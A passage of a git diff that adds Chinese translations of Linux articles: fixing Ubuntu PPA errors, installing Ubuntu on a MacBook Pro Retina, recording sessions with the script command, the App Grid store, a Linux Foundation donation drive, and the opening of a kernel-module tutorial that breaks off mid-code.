+译者:[linuhap](https://github.com/linuhap) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.chromium.org/ +[2]:https://www.google.com/intl/en-US/chrome/browser/ +[3]:http://www.techrepublic.com/article/browsers-will-flash-linux-into-the-future-or-drag-it-into-the-past/#. +[4]:http://www.techrepublic.com/article/browsers-will-flash-linux-into-the-future-or-drag-it-into-the-past/#. +[5]:http://www.itworld.com/open-source/420319/adobe-flash-critical-future-linux \ No newline at end of file diff --git a/published/201406/20140530 Fix 'Cannot Add PPA' Error In Ubuntu 14.04 and Linux Mint.md b/published/201406/20140530 Fix 'Cannot Add PPA' Error In Ubuntu 14.04 and Linux Mint.md new file mode 100644 index 0000000000..c3e6160e75 --- /dev/null +++ b/published/201406/20140530 Fix 'Cannot Add PPA' Error In Ubuntu 14.04 and Linux Mint.md @@ -0,0 +1,35 @@ +如何修复Ubuntu/Mint中无法添加PPA源的错误 +================================================================================ +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/05/PPA_Error_Ubuntu.jpeg) + +一名It’s FOSS的普通读者Chetan Jain今天联系了我,并询问道:我要怎样修复Ubuntu 14.04中无法添加PPA源的错误。Chetan在尝试安装[TLP (一个用于减少过热发生的电源管理工具)][1]的时候遇到了这个错误: + + chetan@Inspiron-3521:~$ sudo add-apt-repository ppa:linrunner/tlp + Cannot add PPA: ‘ppa:linrunner/tlp’. + Please check that the PPA name or format is correct. + +如果你在Ubuntu或Mint上添加PPA源时遇到了类似的情况,别担心。这是PPA源的一个常见情况(一般很少发生)之一,很容易就能够得到解决。 + +### 修复Ubuntu 14.04和Linux Mint中无法添加PPA源的错误 ### + +发生这种错误主要有两种原因。一种是您电脑中的CA证书已经损坏,或者是您的网络设置了一个代理。 + +首先让我们重新安装一下CA证书: + + sudo apt-get install --reinstall ca-certificates + +如果上面的命令不起作用,可能是网络使用了一个代理设置。要略过代理设置,使用sudo命令并加上参数E,就像下面这样: + + sudo -E add-apt-repository ppa:linrunner/tlp + +这样PPA源应该就能正常工作了。Chetan的情况通过第二种方法解决了。我希望这个快速指南同样能够帮助您摆脱PPA源错误。欢迎您提出任何问题或是建议来帮助我们改进。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/fix-add-ppa-error-ubuntu-1404-linux-mint/ + +译者:[alim0x](https://github.com/alim0x) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://itsfoss.com/solve-overheating-issue-battery-life-ubuntu-1304/ diff --git a/published/201406/20140530 How To Install Linux On A MacBook Pro Retina.md b/published/201406/20140530 How To Install Linux On A MacBook Pro Retina.md new file mode 100644 index 0000000000..573545184e --- /dev/null +++ b/published/201406/20140530 How To Install Linux On A MacBook Pro Retina.md @@ -0,0 +1,140 @@ +如何在MacBook Pro Retina上安装Linux +================================================================================ +![](http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2014/05/linux-macbook-pro-retina-840x420.jpg?ec7b17) + +MacBook Pros拥有非常强大的配置,但是有些人想强上加强,他们想用Linux系统。 + +不管您是想要更开放和个性化的操作系统又或者是您只想要使用某些在Linux特有的软件,您都会想要在您的MacBook上安装Linux。 可惜的是MacBook Pro们可是一块块密不透风砖头,让您想装其他系统又无从下手。尤其是Linux,比在MacBook上装Windows还难。 Boot Camp对于Linux来说也没有什么用处。 虽然如此,但并不代表您完全不能做到,装机走起! + +### 为什么要在MacBook Pro Retina上装Linux? ### + +买MacBook不就是为了OS X吗?为何要装Linux? 其实买MacBook的原因不仅仅只是因为它的操作系统, 其极致的硬件性能,超长的电池寿命,以及抗操抗造都是购买它的原因。 这些这么好的硬件再加上一块能让您体验到HiDPI的清晰度Retina显示屏,其不皆是买入的理由乎? + +但是如果您对OS X无爱,又或者您真心想要使用Linux,为何不将这自由、开源、小巧、个性化的Linux塞进您的高大上的硬件呢?苹果可能有话要说了,可谁在乎呢~ + +注:在本期教程我们将会使用[最流行的Linux发行版][1] - Ubuntu来作为我们这次安装的选择。您也可以用自己想用的的Linux发行版,但相关的步骤会和本教程略有出入。 如果您把自己的系统玩坏了,我们将不承担任何责任。 本教程将教您如何 Linux 和 OS X 双系统启动,另外只有在OS X才能升级固件,所以我们建议您不要将OS X 删除。 + +但在我们开始之前,请您用您喜欢的方法(比如Time Machine 或 CrashPlan)将您的电脑彻底备份,以防万一。 + +### 下载 Ubuntu ### + +首先您需要下载一份[Ubuntu桌面版安装镜像][2] 。 务必选择64位的桌面版,虽然该镜像并不是为Mac提供的。该镜像在BIOS和EFI模式下都能启动,而Mac的镜像却只能在BIOS启动。Mac是专门设计成这样的,但是我们要使之以EFI模式下启动。 + +### 写到U盘(USB) ### + +其次, 找个2GB以上的USB, 我们将会用该USB作为Ubuntu的安装启动盘。 你可以按照 [Ubuntu官方指导的步骤][3] 或者 [使用专用的图形化工具][4] 来准备安装盘. + +### 调整分区大小 ### + +![](http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2014/05/mac_linux_disk_utility.jpg?ec7b17) + +当你完成上一步后,你的Mac Book Pro就做好安装的准备了。 打开Disk Utility(磁盘工具), 点击左边选择你的硬盘, 选择Partitions(分区)标签页。 把Mac分区缩小到你喜欢的大小 - 我们将会用新创建的可用空间来安装Ubuntu。 + +### 启动Ubuntu镜像 ### + +![](http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2014/05/mac_linux_boot.jpg?ec7b17) + +上述步骤完成后,将U盘插入并重启Mac Book Pro。当关机之后屏幕一黑时,请按住Option键(alt)直到你看到不同的启动选项。选择EFI选项(如果有两个的话选择左边的哪一个)来从USB启动Ubuntu. + +当你看到“Try Ubuntu" 和 "Install Ubuntu" 两个选项的时候, 选择 "Try Ubuntu" 因为我们需要在安装完成之后重启之前弄一些其他的东西。 + +### 安装器 ### + +当Ubuntu的桌面加载好之后,一路向下走直到你看到分区的这一步。 如果你连接不上WiFi的话就代表你的Ubuntu还暂时不知道如何跟你这位高大上Mac做朋友, 不过不用担心, 我们暂时还不需要网络, 在你迟些重启的时候会自动识别你的驱动。 + +![](http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2014/05/mac_linux_installer_partitions.jpg?ec7b17) + +到分区这个步骤之后, 选择 "Do Something else" 这个选项。 然后请确保那块大约128MB左右的分区已经被识别为EFI启动分区(你可以点击它然后选择Option来确定一下; 另外,那个分区应该是 /dev/sda1)。下一步, 你要在新建的空间里创建一个 ext4分区,在其上挂载“/”路径。 如果你知道你自己在干嘛的话也可以创建几个不同的分区(切记这不是Windows啊孩纸)。 + +在你开始下一步之前,请确保你的安装引导程序(boot loader)是选择了 /dev/sda1,GRUB也是装到该分区的。 然后按照平常一样该咋装咋装。 + +### 修改 EFI 引导 ### + +![](http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2014/05/mac_linux_efibootmgr.jpg?ec7b17) + +当你的安装器装完Ubuntu之后,不要按重启!!! 我们还需要弄这么点东西才能使用GRUB。 请运行下列的指令: + + sudo apt-get install efibootmgr + +这个将会暂时地安装一个EFI boot的配置工具,然后 运行: + + sudo efibootmgr + +这个将会显示出当前的启动设置, 你应该看到的是 "ubuntu" 和 "Boot0000*",当前的EFI设置是把系统指向 Boot0080*,这样的话就会跳过GRUB然后直接跳入OS X,所以我们要用以下指令来修复它: + + sudo efibootmgr -o 0,80 + +现在就可以重启了! + +恭喜你啦~你的Ubuntu现在应该就可以用了哦!不过下列的一些调整会让性能提升哦! + +### 坑爹地调整设置 ### + +首先你需要改一下GRUB的设置,这样你的SSD盘才不会偶尔死机, 在Terminal输入: + + sudo nano /etc/default/grub + +找到 **GRUB\_CMDLINE\_LINUX**那一行 , 把它改成 **GRUB\_CMDLINE\_LINUX="libata.force=noncq"** 。 按下CTRL + X保存,然后按Y来确定保存。 接下来你要在Terminal输入: + + sudo nano /etc/grub.d/40_custom + +打开一个新的文件,请使用真丶精准手指准确地一字一字输入: + + menuentry "Mac OS X" { + exit + } + +这将会让你boot到你安装好的Mac OS X(GRUB的32-bit和64-bit项不能用)。然后CTRL+X 和 Y 保存退出,然后输入: + + sudo update-grub + +最后必须要重启才能生效。 + +![](http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2014/05/mac_linux_small_retina.jpg?ec7b17) + +在极其高清的Retina显示屏上神马都这么小,坑爹啊啊? 去Setting -> Display 里把 Scaling Factor弄大一点吧,不然妈妈又要担心你的近视眼了。 + +你也可能觉得在边边上改变窗口大小是一件极其困难的事情,坑爹啊啊? 去Terminal输入: + + sudo nano /usr/share/themes/Ambiance/metacity-1/metacity-theme-1.xml + +然后在里面修改成下面的参数: + + + + + +如果还是太小,把上面的东西改成6吧! + +最后,如果你觉得你的Linux把你那Retina鲜艳的颜色洗掉了,请到你的OS X盘,找到以下的文件: + + /Library/ColorSync/Profiles/Displays/Color LCD-xxxxxx.icc + +xxxxxx只是一串随机的字符,不过这路径应该只有一个文件。把他搬到你Ubuntu的Home folder, 然后到 System Settings –> Color 选择 Add New Profile 并选择你那刚弄过来的icc文件。 + +### 总结 ### + +![](http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2014/05/mac_linux_final.jpg?ec7b17) + +恭喜你啦, 现在终于有一台属于你的Linux MacBook Pro Retina啦!如果你想把你的Ubuntu弄得更手熟,请按 [让你的Ubuntu 像家一样舒服][5] 尽情地修改配置吧! 该教程也可用于其他的Mac系统,当然每种Mac都有不同的好处和坏处。 如果你用的是其他的Mac,请翻一翻[这篇为Ubuntu写的文档][6] + +另外,你还可以看一下其他可以在Mac安装的[Linux 发行包][7]哦! + +Image Credits: [K?rlis Dambr?ns][8] Via Flickr + +-------------------------------------------------------------------------------- + +via: http://www.makeuseof.com/tag/install-linux-macbook-pro/ + +译者:[213edu](https://github.com/213edu) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.makeuseof.com/tag/windows-xp-users-switch-ubuntu-14-04-lts-trusty-tahr/ +[2]:http://www.ubuntu.com/download/desktop/ +[3]:http://www.ubuntu.com/download/desktop/create-a-usb-stick-on-mac-osx +[4]:http://www.makeuseof.com/tag/how-to-boot-a-linux-live-usb-stick-on-your-mac/ +[5]:http://www.makeuseof.com/tag/11-tweaks-perform-ubuntu-installation/ +[6]:https://help.ubuntu.com/community/MacBookPro +[7]:http://www.makeuseof.com/pages/best-linux-distributions +[8]:https://www.flickr.com/photos/janitors/10037346335 diff --git a/published/201406/20140530 Linux script command--A recorder inside your Terminal.md b/published/201406/20140530 Linux script command--A recorder inside your Terminal.md new file mode 100644 index 0000000000..c26bcc8afa --- /dev/null +++ b/published/201406/20140530 Linux script command--A recorder inside your Terminal.md @@ -0,0 +1,86 @@ +Linux script命令 —— 终端里的记录器 +================================================================================ +当你在终端或者控制台工作时,你可能想要记录在终端中所做的一切。这些记录可以用来当作史料,保存终端所发生的一切。比如说,你和一些Linux管理员们同时管理着相同的机器,或者你让某人远程登陆到了你的服务器上,你可能记录想要终端里发生的一切。要实现这个目标,你可以使用script命令。 + +### script是什么 ### + +scirpt就是一个命令,可以制作一份记录输出到终端的记录。对于那些想要真实记录终端会话的人来说,这很有用。该记录可以保存并在以后再打印出来。 + +### 怎么用 ### + +默认情况下,我们可以通过在终端中输入script来启动scirpt命令。 + + pungki@dev-machine:~$ script + Script started, file is typescript + pungki@dev-machine:~$ + +你也可以指定目标文件名来记录打印结果。 + + pungki@dev-machine:~$ script myfile + +![Define script file](http://linoxide.com/wp-content/uploads/2014/03/start_script.png) + +当你再次见到命令提示符,这意味着终端将记录打印到终端的任何东西。 + +你会看到当前目录,有个名为myscript的文件。(LCTT译注,此处原文有误。这里指定了记录文件名为myfile,而不是默认的 typescript。) + +### 为什么我们要用script命令 ### + +因为在之前已经提到过,script命令的主要功能是记录所有的东西。下面给出了两个使用该命令的场景。 + +#### 和同事共事时 #### + +当和同事一起工作时,我们可以通过script来记录你的活动。 + +比如,我们会使用名为**collaborate**的打印文件,来完成打印: + + $ script collaborate + +![Create collaborate file](http://linoxide.com/wp-content/uploads/2014/03/collaborate.png) + +然后,在完成一些任务后,假如你需要把你干的活发给另外一个工程师,那就把那文件发给他。所以当另外一个工程师需要复查所做的事情,他只要用文本编辑器打开这个文件就行了。 + +如果他想要更新该文件(以增加他的工作部分),可以使用**-a**选项。 + + $ script -a collaborate + +![Append the file](http://linoxide.com/wp-content/uploads/2014/03/collaborate_append.png) + +#### 记录某人在终端中的所作所为 #### + +你可能让你的工程师或者某个人远程访问你的系统,要确保你的工程师正在干正确的事,你可以记录下他在你系统上的所作所为。要让script命令在登录时自动运行,我们可以把它添加进shell环境配置文件中。如果你正在使用**bash** shell,把这一行加进你的bash环境配置文件中。 + + $ vi ~/.profile + + # run the script command to record everything + # use -q for quite and -a option to append the script + # + /usr/bin/script -qa /usr/local/script/log_record_script + +![Add script to bash profile](http://linoxide.com/wp-content/uploads/2014/03/script_login.png) + +然后保存。下次他登录进你的系统时,script命令就会自动运行,并把日志记录进**/usr/local/script/log_record_script**。 + +![Script without notification](http://linoxide.com/wp-content/uploads/2014/03/remote_script_quite.png) + +**-q**选项可以让scirpt命令以静默模式运行,登录进来的用户不会知道script命令已经运行了。而**-a**选项将会让记录附加到文件中,而不会擦除先前的记录。 + +如果不使用**-q**选项,那么当用户登录进来时,他会收到像下图中这样的通知。 + +![Script with notification](http://linoxide.com/wp-content/uploads/2014/03/remote_script.png) + +### 退出记录 ### + +要退出记录活动,我们可以在终端中按下**Ctrl+D**,或者输入**exit**。在退出script前,你会发现记录文件的大小为0 Kb,而在退出之后,文件大小会发生改变。 + +### 结尾 ### + +Script命令在你需要记录或者存档终端活动时可能很有用,记录文件会存储为文本文件,所以可以很方便地用文本编辑器打开。跟平常一样,我们都可以通过输入**man script**或者**scirpt -h**来显示帮助页并查看更多详细用法。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/script-command-recorder/ + +译者:[GOLinux](https://github.com/GOLinux) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201406/20140603 App Grid Is A Superior Ubuntu Software Center Alternative.md b/published/201406/20140603 App Grid Is A Superior Ubuntu Software Center Alternative.md new file mode 100644 index 0000000000..02bee2befb --- /dev/null +++ b/published/201406/20140603 App Grid Is A Superior Ubuntu Software Center Alternative.md @@ -0,0 +1,48 @@ +APP Grid:一个优秀的Ubuntu软件中心替代品 +================================================================================ +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/05/app-grid.png) + +**Ubuntu软件中心使得查找、安装、购买并管理应用程序更简单,这一点无可否认。** + +同样,也无可否认,它离最美的发行版默认自带软件的位置还远着呢。 + +### App Grid:Ubuntu软件中心替代品 ### + +自从2011年的彻底改造后,Ubuntu的旗舰应用商店的界面就没怎么变过。这并不是说它在此期间被完全忽略了,在12.04的开发周期中可以看到已经做了一些[减少打开耗时的工作][1]。 + +撇开那个不算,Ubuntu软件中心还是一如既往,还有许多潜在功能还没被开发。 + +App Grid的目标是解决这些问题。从零开始,它要求更快的启动时间,更快的反应时间,而且“不感觉混乱,不让人失望”。 + +在大部分这些方面,App Grid取得了成功。它几乎可以立即打开,而在界面上点击也确实反应迅速。“不感觉混乱”这一承诺,或许有一点小小的争议。该应用有时候要你横向滚动,而另外的时候,又要你纵向滚动。也有人禁不住会想,如果这个应用能把它的网格背景样式扔了,可能看起来会显得更专业一些。 + +作为在Ubuntu上筛选应用程序的一个方式,App Grid做出了极大的努力。它支持Ubuntu One上的订购、评级和评论,作为Ubuntu默认应用商店的替代品,它更好用。 + +如果非要说点什么缺点的话,那就是它不是一个开源的应用程序,第一次运行时会显示以下免责声明: + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/05/app-grid-prompt.png) + +### 安装App Grid ### + +App Grid可运行在Ubuntu 12.04 LTS,13.10以及14.04 LTS版本下。可以通过添加以下PPA软件源来安装: + + sudo add-apt-repository -y ppa:appgrid/stable + sudo apt-get update && sudo apt-get install appgrid + +或者,也可以[从项目网站][2]抓取一个.deb安装包来安装。 + +- [下载用于Ubuntu 14.04的App Grid安装包][3] + +试试吧,试过后请发表一下你的看法吧…… + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/05/appgrid-ubuntu-software-centre-alternative + +译者:[GOLinux](https://github.com/GOLinux) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.omgubuntu.co.uk/2011/10/plans-for-ubuntu-software-centre-plans-in-12-04-get-discussed +[2]:https://launchpad.net/appgrid +[3]:http://ppa.launchpad.net/appgrid/stable/ubuntu/pool/main/a/appgrid/appgrid_0.1.102~trusty_all.deb \ No newline at end of file diff --git a/published/201406/20140603 Linux Foundation to donate portion of membership fees to Code.org.md b/published/201406/20140603 Linux Foundation to donate portion of membership fees to Code.org.md new file mode 100644 index 0000000000..be80944dd5 --- /dev/null +++ b/published/201406/20140603 Linux Foundation to donate portion of membership fees to Code.org.md @@ -0,0 +1,27 @@ +Linux基金会捐赠部分会员费给Code.org +================================================================================ +![](http://www.muktware.com/wp-content/uploads/2013/11/Linux_Foundation_logo-360x109.png) + +Linux基金会[宣布][1]鉴于年中个别成员的努力和推广。对于每一位在2014年6月1日到6月30日晚上11:59之间加入的新会员,Code.org将会得到25美元。 + +Code.org是通过让更多的学校提供机会,以提高女性和有色人种学生的参与,致力于扩展计算机科学教育的非营利性组织。其目标是提供给每所学校的学生学习计算机科学的机会。Code.org与Linux基金会的使命是增加人们学习编程的机会。 + +Linux基金会的CMO Amanda McPherson解释道,当今的许多Linux人才都是从学生时代开始摆弄电脑,并在大学期间编写了简单地程序。通过将提供这个月的个人会员捐款给Code.org,我们希望社会各界能够支持Linux和Linux创始人Linus Torvalds的工作,同时帮助增加获取计算机科学教育的下一代Linux开发人员和系统管理员。 + +学习和教育也是Linux基金会最优先考虑的。基金会最近宣布的第一个“Linux入门”大规模开放式网络课程(MOOC),它是免费提供给所有人的。已经有超过14万人登记预计8月开始的第一节课。它也提供并组织各种培训课程。 + +Linux基金会会员们支持着Linux和开源社区的发展。作为额外津贴,成员也会得到包括20%折扣的LinuxCon和CloudOpen大会门票的独家优惠;高达10%折扣的Linux基金会培训;一个Linux.com的电子邮件地址(例如john@linux.com);购买戴尔,惠普和联想电脑的员工优惠价;高达35%折扣的O'Reilly书籍和电子书;以及其他各种折扣。 + +每年的会员费为99美元。对于学生是25美元,但包含相同的个人会员优惠。要注册,请访问: +[https://www.linuxfoundation.org/about/join/individual][2] + +-------------------------------------------------------------------------------- + +via: http://www.muktware.com/2014/06/linux-foundation-donate-portion-membership-fees-code-org/27942 + +译者:[乌龙茶](https://github.com/yechunxiao19) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.linuxfoundation.org/news-media/announcements/2014/06/linux-foundations-biannual-membership-drive-kicks-portion-dues +[2]:https://www.linuxfoundation.org/about/join/individual diff --git a/published/201406/20140603 Write your first Linux Kernel module.md b/published/201406/20140603 Write your first Linux Kernel module.md new file mode 100644 index 0000000000..3e88177799 --- /dev/null +++ b/published/201406/20140603 Write your first Linux Kernel module.md @@ -0,0 +1,370 @@ +黑客内核:编写属于你的第一个Linux内核模块 +================================================================================ +> 曾经多少次想要在内核游荡?曾经多少次茫然不知方向?你不要再对着它迷惘,让我们指引你走向前方…… + +内核编程常常看起来像是黑魔法,而在亚瑟 C 克拉克的眼中,它八成就是了。Linux内核和它的用户空间是大不相同的:抛开漫不经心,你必须小心翼翼,因为你编程中的一个bug就会影响到整个系统。浮点运算做起来可不容易,堆栈固定而狭小,而你写的代码总是异步的,因此你需要想想并发会导致什么。而除了所有这一切之外,Linux内核只是一个很大的、很复杂的C程序,它对每个人开放,任何人都去读它、学习它并改进它,而你也可以是其中之一。 + +学习内核编程的最简单的方式也许就是写个内核模块:一段可以动态加载进内核的代码。模块所能做的事是有限的——例如,他们不能在类似进程描述符这样的公共数据结构中增减字段(LCTT译注:可能会破坏整个内核及系统的功能)。但是,在其它方面,他们是成熟的内核级的代码,可以在需要时随时编译进内核(这样就可以摒弃所有的限制了)。完全可以在Linux源代码树以外来开发并编译一个模块(这并不奇怪,它称为树外开发),如果你只是想稍微玩玩,而并不想提交修改以包含到主线内核中去,这样的方式是很方便的。 + +在本教程中,我们将开发一个简单的内核模块用以创建一个**/dev/reverse**设备。写入该设备的字符串将以相反字序的方式读回(“Hello World”读成“World Hello”)。这是一个很受欢迎的程序员面试难题,当你利用自己的能力在内核级别实现这个功能时,可以使你得到一些加分。在开始前,有一句忠告:你的模块中的一个bug就会导致系统崩溃(虽然可能性不大,但还是有可能的)和数据丢失。在开始前,请确保你已经将重要数据备份,或者,采用一种更好的方式,在虚拟机中进行试验。 + +### 尽可能不要用root身份 ### + +> 默认情况下,**/dev/reverse**只有root可以使用,因此你只能使用**sudo**来运行你的测试程序。要解决该限制,可以创建一个包含以下内容的**/lib/udev/rules.d/99-reverse.rules**文件: +> +> SUBSYSTEM=="misc", KERNEL=="reverse", MODE="0666" +> +> 别忘了重新插入模块。让非root用户访问设备节点往往不是一个好主意,但是在开发其间却是十分有用的。这并不是说以root身份运行二进制测试文件也不是个好主意。 + +#### 模块的构造 #### + +由于大多数的Linux内核模块是用C写的(除了底层的特定于体系结构的部分),所以推荐你将你的模块以单一文件形式保存(例如,reverse.c)。我们已经把完整的源代码放在GitHub上——这里我们将看其中的一些片段。开始时,我们先要包含一些常见的文件头,并用预定义的宏来描述模块: + + #include + #include + #include + + MODULE_LICENSE("GPL"); + MODULE_AUTHOR("Valentine Sinitsyn "); + MODULE_DESCRIPTION("In-kernel phrase reverser"); + +这里一切都直接明了,除了**MODULE\_LICENSE()**:它不仅仅是一个标记。内核坚定地支持GPL兼容代码,因此如果你把许可证设置为其它非GPL兼容的(如,“Proprietary”[专利]),某些特定的内核功能将在你的模块中不可用。 + +### 什么时候不该写内核模块 ### + +> 内核编程很有趣,但是在现实项目中写(尤其是调试)内核代码要求特定的技巧。通常来讲,在没有其它方式可以解决你的问题时,你才应该在内核级别解决它。以下情形中,可能你在用户空间中解决它更好: + +> - 你要开发一个USB驱动 —— 请查看[libusb][1]。 +> - 你要开发一个文件系统 —— 试试[FUSE][2]。 +> - 你在扩展Netfilter —— 那么[libnetfilter\_queue][3]对你有所帮助。 + +> 通常,内核里面代码的性能会更好,但是对于许多项目而言,这点性能丢失并不严重。 + +由于内核编程总是异步的,没有一个**main()**函数来让Linux顺序执行你的模块。取而代之的是,你要为各种事件提供回调函数,像这个: + + static int __init reverse_init(void) + { + printk(KERN_INFO "reverse device has been registered\n"); + return 0; + } + + static void __exit reverse_exit(void) + { + printk(KERN_INFO "reverse device has been unregistered\n"); + } + + module_init(reverse_init); + module_exit(reverse_exit); + +这里,我们定义的函数被称为模块的插入和删除。只有第一个的插入函数是必要的。目前,它们只是打印消息到内核环缓冲区(可以在用户空间通过**dmesg**命令访问);**KERN\_INFO**是日志级别(注意,没有逗号)。**\_\_init**和**\_\_exit**是属性 —— 联结到函数(或者变量)的元数据片。属性在用户空间的C代码中是很罕见的,但是内核中却很普遍。所有标记为**\_\_init**的,会在初始化后释放内存以供重用(还记得那条过去内核的那条“Freeing unused kernel memory…[释放未使用的内核内存……]”信息吗?)。**\_\_exit**表明,当代码被静态构建进内核时,该函数可以安全地优化了,不需要清理收尾。最后,**module\_init()**和**module\_exit()**这两个宏将**reverse\_init()**和**reverse_exit()**函数设置成为我们模块的生命周期回调函数。实际的函数名称并不重要,你可以称它们为**init()**和**exit()**,或者**start()**和**stop()**,你想叫什么就叫什么吧。他们都是静态声明,你在外部模块是看不到的。事实上,内核中的任何函数都是不可见的,除非明确地被导出。然而,在内核程序员中,给你的函数加上模块名前缀是约定俗成的。 + +这些都是些基本概念 - 让我们来做更多有趣的事情吧。模块可以接收参数,就像这样: + + # modprobe foo bar=1 + +**modinfo**命令显示了模块接受的所有参数,而这些也可以在**/sys/module//parameters**下作为文件使用。我们的模块需要一个缓冲区来存储参数 —— 让我们把这大小设置为用户可配置。在**MODULE_DESCRIPTION()**下添加如下三行: + + static unsigned long buffer_size = 8192; + module_param(buffer_size, ulong, (S_IRUSR | S_IRGRP | S_IROTH)); + MODULE_PARM_DESC(buffer_size, "Internal buffer size"); + +这儿,我们定义了一个变量来存储该值,封装成一个参数,并通过sysfs来让所有人可读。这个参数的描述(最后一行)出现在modinfo的输出中。 + +由于用户可以直接设置**buffer\_size**,我们需要在**reverse\_init()**来清除无效取值。你总该检查来自内核之外的数据 —— 如果你不这么做,你就是将自己置身于内核异常或安全漏洞之中。 + + static int __init reverse_init() + { + if (!buffer_size) + return -1; + printk(KERN_INFO + "reverse device has been registered, buffer size is %lu bytes\n", + buffer_size); + return 0; + } + +来自模块初始化函数的非0返回值意味着模块执行失败。 + +### 导航 ### + +> 但你开发模块时,Linux内核就是你所需一切的源头。然而,它相当大,你可能在查找你所要的内容时会有困难。幸运的是,在庞大的代码库面前,有许多工具使这个过程变得简单。首先,是Cscope —— 在终端中运行的一个比较经典的工具。你所要做的,就是在内核源代码的顶级目录中运行**make cscope && cscope**。Cscope和Vim以及Emacs整合得很好,因此你可以在你最喜爱的编辑器中使用它。 + +> 如果基于终端的工具不是你的最爱,那么就访问[http://lxr.free-electrons.com][4]吧。它是一个基于web的内核导航工具,即使它的功能没有Cscope来得多(例如,你不能方便地找到函数的用法),但它仍然提供了足够多的快速查询功能。 + +现在是时候来编译模块了。你需要你正在运行的内核版本头文件(**linux-headers**,或者等同的软件包)和**build-essential**(或者类似的包)。接下来,该创建一个标准的Makefile模板: + + obj-m += reverse.o + all: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules + clean: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean + +现在,调用**make**来构建你的第一个模块。如果你输入的都正确,在当前目录内会找到reverse.ko文件。使用**sudo insmod reverse.ko**插入内核模块,然后运行如下命令: + + $ dmesg | tail -1 + [ 5905.042081] reverse device has been registered, buffer size is 8192 bytes + +恭喜了!然而,目前这一行还只是假象而已 —— 还没有设备节点呢。让我们来搞定它。 + +#### 混杂设备 #### + +在Linux中,有一种特殊的字符设备类型,叫做“混杂设备”(或者简称为“misc”)。它是专为单一接入点的小型设备驱动而设计的,而这正是我们所需要的。所有混杂设备共享同一个主设备号(10),因此一个驱动(**drivers/char/misc.c**)就可以查看它们所有设备了,而这些设备用次设备号来区分。从其他意义来说,它们只是普通字符设备。 + +要为该设备注册一个次设备号(以及一个接入点),你需要声明**struct misc\_device**,填上所有字段(注意语法),然后使用指向该结构的指针作为参数来调用**misc\_register()**。为此,你也需要包含**linux/miscdevice.h**头文件: + + static struct miscdevice reverse_misc_device = { + .minor = MISC_DYNAMIC_MINOR, + .name = "reverse", + .fops = &reverse_fops + }; + static int __init reverse_init() + { + ... + misc_register(&reverse_misc_device); + printk(KERN_INFO ... + } + +这儿,我们为名为“reverse”的设备请求一个第一个可用的(动态的)次设备号;省略号表明我们之前已经见过的省略的代码。别忘了在模块卸下后注销掉该设备。 + + static void __exit reverse_exit(void) + { + misc_deregister(&reverse_misc_device); + ... + } + +‘fops’字段存储了一个指针,指向一个**file\_operations**结构(在Linux/fs.h中声明),而这正是我们模块的接入点。**reverse\_fops**定义如下: + + static struct file_operations reverse_fops = { + .owner = THIS_MODULE, + .open = reverse_open, + ... + .llseek = noop_llseek + }; + +另外,**reverse\_fops**包含了一系列回调函数(也称之为方法),当用户空间代码打开一个设备,读写或者关闭文件描述符时,就会执行。如果你要忽略这些回调,可以指定一个明确的回调函数来替代。这就是为什么我们将**llseek**设置为**noop\_llseek()**,(顾名思义)它什么都不干。这个默认实现改变了一个文件指针,而且我们现在并不需要我们的设备可以寻址(这是今天留给你们的家庭作业)。 + +#### 关闭和打开 #### + +让我们来实现该方法。我们将给每个打开的文件描述符分配一个新的缓冲区,并在它关闭时释放。这实际上并不安全:如果一个用户空间应用程序泄漏了描述符(也许是故意的),它就会霸占RAM,并导致系统不可用。在现实世界中,你总得考虑到这些可能性。但在本教程中,这种方法不要紧。 + +我们需要一个结构函数来描述缓冲区。内核提供了许多常规的数据结构:链接列表(双联的),哈希表,树等等之类。不过,缓冲区常常从头设计。我们将调用我们的“struct buffer”: + + struct buffer { + char *data, *end, *read_ptr; + unsigned long size; + }; + +**data**是该缓冲区存储的一个指向字符串的指针,而**end**指向字符串结尾后的第一个字节。**read_ptr**是**read()**开始读取数据的地方。缓冲区的size是为了保证完整性而存储的 —— 目前,我们还没有使用该区域。你不能假设使用你结构体的用户会正确地初始化所有这些东西,所以最好在函数中封装缓冲区的分配和收回。它们通常命名为**buffer\_alloc()**和**buffer\_free()**。 + + static struct buffer *buffer_alloc(unsigned long size) + { + struct buffer *buf; + buf = kzalloc(sizeof(*buf), GFP_KERNEL); + if (unlikely(!buf)) + goto out; + ... + out: + return buf; + } + 